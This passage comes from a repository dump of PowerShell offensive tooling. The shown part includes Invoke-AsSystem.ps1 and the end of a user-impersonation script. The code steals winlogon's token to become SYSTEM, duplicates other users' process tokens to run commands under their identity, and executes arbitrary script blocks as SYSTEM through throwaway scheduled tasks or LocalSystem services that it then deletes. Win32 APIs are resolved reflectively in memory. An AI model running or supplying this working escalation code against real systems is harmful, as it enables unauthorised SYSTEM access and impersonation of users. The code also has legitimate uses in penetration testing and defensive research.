AdjustTokenPrivileges 396 | $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) 397 | $AdjustTokenPrivileges = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) 398 | 399 | Function Local:Enable-Privilege { 400 | Param ( 401 | [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", 402 | "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", 403 | "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", 404 | "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", 405 | "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", 406 | "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", 407 | "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", 408 | "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] 409 | [String] 410 | $Privilege 411 | ) 412 | 413 | [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() 414 | if ($ThreadHandle -eq [IntPtr]::Zero) { 415 | Throw "Unable to get the handle to the current thread" 416 | } 417 | [IntPtr]$ThreadToken = [IntPtr]::Zero 418 | [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $(8 -bor 0x20), $false, [Ref]$ThreadToken) 419 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 420 | if ($Result -eq $false) { 421 | if ($ErrorCode -eq 0x3f0) { 422 | $Result = $ImpersonateSelf.Invoke(3) 423 | if ($Result -eq $false) { 424 | Throw (New-Object ComponentModel.Win32Exception) 425 | } 426 | 427 | $Result = $OpenThreadToken.Invoke($ThreadHandle, $(8 -bor 0x20), $false, [Ref]$ThreadToken) 428 | if ($Result -eq $false) { 429 | Throw (New-Object ComponentModel.Win32Exception) 430 | } 431 | } 432 | else { 433 | Throw ([ComponentModel.Win32Exception] $ErrorCode) 434 | } 435 | } 436 | $CloseHandle.Invoke($ThreadHandle) | Out-Null 437 | 438 | $LuidSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) 439 | $LuidPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) 440 | $LuidObject = [Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) 441 | [Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) 442 | 443 | $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) 444 | if ($Result -eq $false) { 445 | Throw (New-Object ComponentModel.Win32Exception) 446 | } 447 | 448 | [UInt32]$LuidAndAttributesSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) 449 | $LuidAndAttributesPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) 450 | $LuidAndAttributes = [Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) 451 | [Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) 452 | 453 | $LuidAndAttributes.Luid = $LuidObject 454 | $LuidAndAttributes.Attributes = 0x2 455 | 456 | [UInt32]$TokenPrivSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) 457 | $TokenPrivilegesPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) 458 | $TokenPrivileges = [Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) 459 | [Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) 460 | $TokenPrivileges.PrivilegeCount = 1 461 | $TokenPrivileges.Privileges = $LuidAndAttributes 462 | $Global:TokenPriv = $TokenPrivileges 463 | 464 | $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) 465 | if ($Result -eq $false) { 466 | Throw (New-Object ComponentModel.Win32Exception) 467 | } 468 | 469 | $CloseHandle.Invoke($ThreadToken) | Out-Null 470 | } 471 | 472 | Function Local:Get-PrimaryToken { 473 | Param ( 474 | [Parameter(Mandatory = $True)] 475 | [UInt32] 476 | $ProcessId, 477 | 478 | [Switch] 479 | $FullPrivs 480 | ) 481 | 482 | if ($FullPrivs) { 483 | $tokenPrivs = 0xf01ff 484 | } 485 | else { 486 | $tokenPrivs = 0x0E 487 | } 488 | $hToken = [IntPtr]::Zero 489 | 490 | if (($hProcess = $OpenProcess.Invoke(0x400, $False, $ProcessId)) -eq [IntPtr]::Zero) { 491 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 492 | Throw "Failed to get handle for process $ProcessId. ErrorCode: $errorCode" 493 | } 494 | else { 495 | if (-not $OpenProcessToken.Invoke(([IntPtr][Int] $hProcess), $tokenPrivs, [ref] $hToken)) { 496 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 497 | Throw "Failed to get primary token for process $ProcessId. ErrorCode: $errorCode" 498 | } 499 | if (-not $CloseHandle.Invoke($hProcess)) { 500 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 501 | Write-Verbose "Failed to close process handle, this is unexpected. ErrorCode: $errorCode" 502 | } 503 | } 504 | return $hToken 505 | } 506 | 507 | Function Local:Invoke-ImpersonateUser { 508 | Param ( 509 | [Parameter(Mandatory=$true)] 510 | [IntPtr] 511 | $TokenHandle, 512 | 513 | [String] 514 | $CreateProcess, 515 | 516 | [String] 517 | $ProcessArgs 518 | ) 519 | 520 | # Duplicate the process primary token 521 | $hDulicateToken = [IntPtr]::Zero 522 | if (-not $DuplicateTokenEx.Invoke($TokenHandle, 0x02000000, [IntPtr]::Zero, 0x02, 0x01, [Ref] $hDulicateToken)) { 523 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 524 | Write-Error "Failed to duplicate the process token. ErrorCode: $errorCode" 525 | } 526 | if ($hDulicateToken -eq [IntPtr]::Zero) { 527 | Write-Error "Failed to duplicate the process token, this is unexpected." 528 | } 529 | if (-not $CloseHandle.Invoke($TokenHandle)) { 530 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 531 | Write-Verbose "Failed to close token handle, this is unexpected. ErrorCode: $errorCode" 532 | } 533 | 534 | if ([String]::IsNullOrEmpty($CreateProcess)) { 535 | # Impersonate user in the current thread 536 | if (-not $ImpersonateLoggedOnUser.Invoke($hDulicateToken)) { 537 | $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 538 | Write-Error "Failed to impersonate user. Error code: $Errorcode" 539 | } 540 | } 541 | else { 542 | # Impersonate user in a new process 543 | $startupInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $STARTUPINFO) 544 | [IntPtr] $startupInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($startupInfoSize) 545 | $memset.Invoke($startupInfoPtr, 0, $startupInfoSize) | Out-Null 546 | [Runtime.InteropServices.Marshal]::WriteInt32($startupInfoPtr, $startupInfoSize) 547 | $processInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $PROCESS_INFORMATION) 548 | [IntPtr] $processInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($processInfoSize) 549 | $processNamePtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("$CreateProcess") 550 | $processArgsPtr = [IntPtr]::Zero 551 | if (-not [String]::IsNullOrEmpty($ProcessArgs)) { 552 | $processArgsPtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$CreateProcess`" $ProcessArgs") 553 | } 554 | $success = $CreateProcessAsUserW.Invoke($hDulicateToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) 555 | if (-not $success) { 556 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 557 | Write-Error $([ComponentModel.Win32Exception] $errorCode) -ErrorAction Stop 558 | } 559 | $processInfo = [Runtime.InteropServices.Marshal]::PtrToStructure($processInfoPtr, [Type] $PROCESS_INFORMATION) 560 | $process = [Diagnostics.Process]::GetProcessById($processInfo.dwProcessId) 561 | $process.WaitForExit() 562 | # Free the handles returned in the ProcessInfo structure 563 | $CloseHandle.Invoke($processInfo.hProcess) | Out-Null 564 | $CloseHandle.Invoke($processInfo.hThread) | Out-Null 565 | # Free StartupInfo memory and ProcessInfo memory 566 | [Runtime.InteropServices.Marshal]::FreeHGlobal($startupInfoPtr) 567 | [Runtime.InteropServices.Marshal]::FreeHGlobal($processInfoPtr) 568 | [Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($processNamePtr) 569 | # Close handle for the token duplicated 570 | if (-not $CloseHandle.Invoke($hDulicateToken)) { 571 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 572 | Write-Verbose "Failed to close token handle, this is unexpected. ErrorCode: $errorCode" 573 | } 574 | } 575 | } 576 | } 577 | 578 | Process { 579 | # Ensure token duplication works correctly 580 | if ([Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { 581 | Write-Error "This script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop 582 | } 583 | 584 | $currentPrincipal = [Security.Principal.WindowsIdentity]::GetCurrent() 585 | if (-not ($currentPrincipal.isSystem)) { 586 | # Impersonate NT AUTHORITY\SYSTEM 587 | $winlogonPid = Get-Process -Name "winlogon" | Select-Object -First 1 -ExpandProperty Id 588 | try { 589 | $hToken = Get-PrimaryToken -ProcessId $winlogonPid 590 | if ($hToken -ne [IntPtr]::Zero) { 591 | Write-Verbose "Impersonating process $winlogonPid..." 592 | Invoke-ImpersonateUser -TokenHandle $hToken | Out-Null 593 | } 594 | else { 595 | Write-Error "Failed to get the primary token of process $winlogonPid" -ErrorAction Stop 596 | } 597 | } 598 | catch { 599 | Write-Error $_ -ErrorAction Stop 600 | } 601 | } 602 | 603 | Write-Verbose "Enabling privilege SeAssignPrimaryTokenPrivilege..." 604 | # Required for calling CreateProcessAsUserW 605 | Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege 606 | 607 | # Impersonate user's processes 608 | $success = $False 609 | Get-WmiObject -Class Win32_Process | ForEach-Object { 610 | $process = $_ 611 | if (Get-Process -Id $process.ProcessId -ErrorAction SilentlyContinue) { 612 | $ownerInfo = $process.GetOwner() 613 | $ownerString = "$($ownerInfo.Domain)\$($ownerInfo.User)".ToUpper() 614 | if ($ownerString -match "$($Identity.ToUpper().replace('\','\\'))`$") { 615 | try { 616 | $hToken = Get-PrimaryToken -ProcessId $process.ProcessId -FullPrivs 617 | if ($hToken -ne [IntPtr]::Zero) { 618 | Write-Verbose "Attempting to impersonate process $($process.ProcessId)..." 619 | Invoke-ImpersonateUser -TokenHandle $hToken -CreateProcess $Command -ProcessArgs $Arguments 620 | $success = $True 621 | break 622 | } 623 | } 624 | catch {} 625 | } 626 | } 627 | } 628 | if (-not $success) { 629 | Write-Error 'Unable to obtain a handle to a user process.' 630 | } 631 | 632 | Write-Verbose "Reverting the current thread privileges..." 633 | if (-not $RevertToSelf.Invoke()) { 634 | Write-Warning "RevertToSelf failed." 635 | } 636 | } 637 | 638 | End {} 639 | } 640 | 641 | Add-Type -TypeDefinition @' 642 | using System; 643 | using System.Collections.Generic; 644 | using System.Linq; 645 | using System.Linq.Expressions; 646 | using System.Management.Automation.Runspaces; 647 | public class RunspacedDelegateFactory { 648 | public static Delegate NewRunspacedDelegate(Delegate _delegate, Runspace runspace) { 649 | Action setRunspace = () => Runspace.DefaultRunspace = runspace; 650 | return ConcatActionToDelegate(setRunspace, _delegate); 651 | } 652 | private static Expression ExpressionInvoke(Delegate _delegate, params Expression[] arguments) { 653 | var invokeMethod = _delegate.GetType().GetMethod("Invoke"); 654 | return Expression.Call(Expression.Constant(_delegate), invokeMethod, arguments); 655 | } 656 | public static Delegate ConcatActionToDelegate(Action a, Delegate d) { 657 | var parameters = d.GetType().GetMethod("Invoke").GetParameters().Select(p => Expression.Parameter(p.ParameterType, p.Name)).ToArray(); 658 | Expression body = Expression.Block(ExpressionInvoke(a), ExpressionInvoke(d, parameters)); 659 | var lambda = Expression.Lambda(d.GetType(), body, parameters); 660 | var compiled = lambda.Compile(); 661 | return compiled; 662 | } 663 | } 664 | '@ 665 | -------------------------------------------------------------------------------- /Invoke-AsSystem.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 3 2 | 3 | Function Invoke-AsSystem { 4 | <# 5 | .SYNOPSIS 6 | Invoke PowerShell script block as NT\AUTHORITY SYSTEM. 7 | 8 | Author: Timothee MENOCHET (@_tmenochet) 9 | 10 | .DESCRIPTION 11 | Invoke-AsSystem runs PowerShell script block on local computer via scheduled job. 12 | 13 | .PARAMETER ScriptBlock 14 | Specifies the PowerShell script block to run. 15 | 16 | .PARAMETER ArgumentList 17 | Specifies the PowerShell script block arguments. 18 | 19 | .PARAMETER Method 20 | Specifies the execution method to use, defaults to ScheduledTask. 21 | 22 | .EXAMPLE 23 | PS C:\> Invoke-AsSystem -ScriptBlock {whoami} 24 | #> 25 | 26 | [CmdletBinding()] 27 | Param ( 28 | [Parameter(Mandatory = $true)] 29 | [ScriptBlock] 30 | $ScriptBlock, 31 | 32 | [Object[]] 33 | $ArgumentList, 34 | 35 | [ValidateSet('ScheduledTask', 'Service', 'Token')] 36 | [String] 37 | $Method = 'ScheduledTask' 38 | ) 39 | 40 | try { 41 | $jobParameters = @{ 42 | Name = [guid]::NewGuid().Guid 43 | ScheduledJobOption = New-ScheduledJobOption -StartIfOnBattery -ContinueIfGoingOnBattery 44 | } 45 | $jobArgumentList = @{ 46 | ScriptBlock = $ScriptBlock 47 | Using = @() 48 | } 49 | if ($ArgumentList) { 50 | $jobArgumentList['ArgumentList'] = $ArgumentList 51 | } 52 | $jobScriptBlock = [ScriptBlock]::Create(@' 53 | Param($Parameters) 54 | $jobParameters = @{} 55 | if ($Parameters.ScriptBlock) { $jobParameters['ScriptBlock'] = [ScriptBlock]::Create($Parameters.ScriptBlock) } 56 | if ($Parameters.ArgumentList) { $jobParameters['ArgumentList'] = $Parameters.ArgumentList } 57 | if ($Parameters.Using) { 58 | $Parameters.Using | % { Set-Variable -Name $_.Name -Value ([Management.Automation.PSSerializer]::Deserialize($_.Value)) } 59 | Start-Job @JobParameters | Receive-Job -Wait -AutoRemoveJob 60 | } 61 | else { 62 | Invoke-Command @JobParameters 63 | } 64 | '@) 65 | $scheduledJob = Register-ScheduledJob @jobParameters -ScriptBlock $jobScriptBlock -ArgumentList $jobArgumentList -ErrorAction Stop 66 | 67 | switch ($Method) { 68 | 'ScheduledTask' { 69 | Invoke-ScheduledTaskCmd -Command $scheduledJob.PSExecutionPath -Arguments $scheduledJob.PSExecutionArgs 70 | } 71 | 'Service' { 72 | Invoke-ServiceCmd -Command $scheduledJob.PSExecutionPath -Arguments $scheduledJob.PSExecutionArgs 73 | } 74 | 'Token' { 75 | Invoke-TokenCmd -Command $scheduledJob.PSExecutionPath -Arguments $scheduledJob.PSExecutionArgs 76 | } 77 | } 78 | 79 | $job = Get-Job -Name $scheduledJob.Name -ErrorAction SilentlyContinue 80 | if ($job) { 81 | $job | Wait-Job | Receive-Job -Wait -AutoRemoveJob 82 | } 83 | } 84 | catch { 85 | Write-Error $_ 86 | } 87 | finally { 88 | if ($scheduledJob) { 89 | Get-ScheduledJob -Id $scheduledJob.Id -ErrorAction SilentlyContinue | Unregister-ScheduledJob -Force -Confirm:$False | Out-Null 90 | } 91 | } 92 | } 93 | 94 | Function Local:Invoke-ScheduledTaskCmd { 95 | [CmdletBinding()] 96 | Param ( 97 | [Parameter(Mandatory = $true)] 98 | [String] 99 | $Command, 100 | 101 | [String] 102 | $Arguments 103 | ) 104 | try { 105 | $scheduleService = New-Object -ComObject ('Schedule.Service') 106 | $scheduleService.Connect() 107 | $scheduleTaskFolder = $scheduleService.GetFolder("\") 108 | $taskDefinition = $scheduleService.NewTask(0) 109 | $taskDefinition.Settings.StopIfGoingOnBatteries = $false 110 | $taskDefinition.Settings.DisallowStartIfOnBatteries = $false 111 | $taskName = [guid]::NewGuid().Guid 112 | $taskAction = $taskDefinition.Actions.Create(0) 113 | $taskAction.Path = $Command 114 | $taskAction.Arguments = $Arguments 115 | Write-Verbose "Registering scheduled task $taskName..." 116 | $registeredTask = $scheduleTaskFolder.RegisterTaskDefinition($taskName, $taskDefinition, 6, 'System', $null, 5) 117 | Write-Verbose "Running scheduled task..." 118 | $scheduledTask = $registeredTask.Run($null) 119 | do { 120 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name; Start-Sleep -Milliseconds 100 121 | } 122 | while ($scheduledTaskInfo.State -eq 3 -and $scheduledTaskInfo.LastTaskResult -eq 267045) 123 | do { 124 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name; Start-Sleep -Milliseconds 100 125 | } 126 | while ($scheduledTaskInfo.State -eq 4) 127 | if ($scheduledTaskInfo.LastRunTime.Year -ne (Get-Date).Year) { 128 | Write-Error 'Task execution failed.' 129 | return 130 | } 131 | } 132 | catch { 133 | Write-Error "Task execution failed. $_" 134 | } 135 | finally { 136 | if ($scheduledTask) { 137 | Write-Verbose "Unregistering scheduled task..." 138 | $scheduleTaskFolder.DeleteTask($scheduledTask.Name, 0) | Out-Null 139 | } 140 | } 141 | } 142 | 143 | Function Local:Invoke-ServiceCmd { 144 | [CmdletBinding()] 145 | Param ( 146 | [Parameter(Mandatory = $true)] 147 | [String] 148 | $Command, 149 | 150 | [String] 151 | $Arguments 152 | ) 153 | 154 | try { 155 | $serviceName = [guid]::NewGuid().Guid 156 | $servicePath = "%COMSPEC% /c $Command $Arguments" 157 | Write-Verbose "Creating service $serviceName..." 158 | $result = Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList @($false, $serviceName, 1, $null, $null, $serviceName, $servicePath, $null, 16, 'Manual', 'LocalSystem', ' ') 159 | if ($result.ReturnValue -eq 0) { 160 | Write-Verbose "Starting service..." 161 | $service = Get-WmiObject -Class Win32_Service -Filter "Name='$serviceName'" 162 | $service.InvokeMethod('StartService', $null) | Out-Null 163 | do { 164 | Start-Sleep -Seconds 1 165 | $service = Get-WmiObject -Class Win32_Service -Filter "Name='$serviceName'" 166 | } 167 | until ($service.ExitCode -ne 1077 -or $service.State -ne 'Stopped') 168 | } 169 | else { 170 | Write-Error "Service creation failed ($($result.ReturnValue))." 171 | } 172 | } 173 | catch { 174 | Write-Error "Service execution failed. $_" 175 | } 176 | finally { 177 | if ($service) { 178 | Write-Verbose "Deleting service..." 179 | $service.InvokeMethod('Delete', $null) | Out-Null 180 | } 181 | } 182 | } 183 | 184 | Function Local:Invoke-TokenCmd { 185 | [CmdletBinding()] 186 | Param ( 187 | [Parameter(Mandatory = $true)] 188 | [String] 189 | $Command, 190 | 191 | [String] 192 | $Arguments 193 | ) 194 | 195 | Begin { 196 | Function Local:Get-DelegateType { 197 | Param ( 198 | [OutputType([Type])] 199 | 200 | [Parameter( Position = 0)] 201 | [Type[]] 202 | $Parameters = (New-Object Type[](0)), 203 | 204 | [Parameter( Position = 1 )] 205 | [Type] 206 | $ReturnType = [Void] 207 | ) 208 | $Domain = [AppDomain]::CurrentDomain 209 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 210 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 211 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 212 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [MulticastDelegate]) 213 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [Reflection.CallingConventions]::Standard, $Parameters) 214 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 215 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 216 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 217 | Write-Output $TypeBuilder.CreateType() 218 | } 219 | 220 | Function Local:Get-ProcAddress { 221 | Param ( 222 | [OutputType([IntPtr])] 223 | 224 | [Parameter( Position = 0, Mandatory = $True )] 225 | [String] 226 | $Module, 227 | 228 | [Parameter( Position = 1, Mandatory = $True )] 229 | [String] 230 | $Procedure 231 | ) 232 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 233 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 234 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 235 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); 236 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 237 | $tmpPtr = New-Object IntPtr 238 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 239 | Write-Output $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef] $HandleRef, $Procedure)) 240 | } 241 | 242 | # Win32Structures 243 | $Domain = [AppDomain]::CurrentDomain 244 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 245 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 246 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 247 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 248 | 249 | # Struct STARTUPINFO 250 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 251 | $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [ValueType]) 252 | $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null 253 | $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null 254 | $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null 255 | $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null 256 | $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null 257 | $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null 258 | $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null 259 | $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null 260 | $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null 261 | $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null 262 | $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null 263 | $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null 264 | $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null 265 | $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null 266 | $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null 267 | $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null 268 | $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null 269 | $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null 270 | $STARTUPINFO = $TypeBuilder.CreateType() 271 | 272 | # Struct PROCESS_INFORMATION 273 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 274 | $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [ValueType]) 275 | $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null 276 | $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null 277 | $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null 278 | $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null 279 | $PROCESS_INFORMATION = $TypeBuilder.CreateType() 280 | 281 | # Win32Functions 282 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 283 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 284 | $OpenProcess = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 285 | 286 | $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken 287 | $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 288 | $OpenProcessToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) 289 | 290 | $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx 291 | $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 292 | $DuplicateTokenEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) 293 | 294 | $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle 295 | $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 296 | $CloseHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) 297 | 298 | $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW 299 | $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) 300 | $CreateProcessWithTokenW = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) 301 | 302 | $memsetAddr = Get-ProcAddress msvcrt.dll memset 303 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) 304 | $memset = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) 305 | } 306 | 307 | Process { 308 | # Ensure token duplication works correctly 309 | if ([Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { 310 | Write-Error "This script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop 311 | } 312 | 313 | $process = $Env:COMSPEC 314 | $processArgs = "/c $Command $Arguments" 315 | 316 | $winlogonPid = Get-Process -Name "winlogon" | Select-Object -First 1 -ExpandProperty Id 317 | 318 | Write-Verbose "Getting the primary token of process winlogon.exe ($winlogonPid)..." 319 | if (($hProcess = $OpenProcess.Invoke(0x400, $False, $winlogonPid)) -eq [IntPtr]::Zero) { 320 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 321 | Write-Error $([ComponentModel.Win32Exception] $errorCode) 322 | } 323 | $hToken = [IntPtr]::Zero 324 | if (-not $OpenProcessToken.Invoke(([IntPtr][Int] $hProcess), 0x0E, [ref] $hToken)) { 325 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 326 | Write-Error $([ComponentModel.Win32Exception] $errorCode) 327 | } 328 | if (-not $CloseHandle.Invoke($hProcess)) { 329 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 330 | Write-Verbose "Failed to close process handle, this is unexpected. ErrorCode: $errorCode" 331 | } 332 | 333 | Write-Verbose "Duplicating the process primary token..." 334 | $hDulicateToken = [IntPtr]::Zero 335 | if (-not $DuplicateTokenEx.Invoke($hToken, 0x02000000, [IntPtr]::Zero, 0x02, 0x01, [Ref] $hDulicateToken)) { 336 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 337 | Write-Error $([ComponentModel.Win32Exception] $errorCode) 338 | } 339 | if ($hDulicateToken -eq [IntPtr]::Zero) { 340 | Write-Error "Failed to duplicate the process token, this is unexpected." 341 | } 342 | if (-not $CloseHandle.Invoke($hToken)) { 343 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 344 | Write-Verbose "Failed to close token handle, this is unexpected. ErrorCode: $errorCode" 345 | } 346 | 347 | Write-Verbose "Creating a new process with alternate token..." 348 | $startupInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $STARTUPINFO) 349 | [IntPtr] $startupInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($startupInfoSize) 350 | 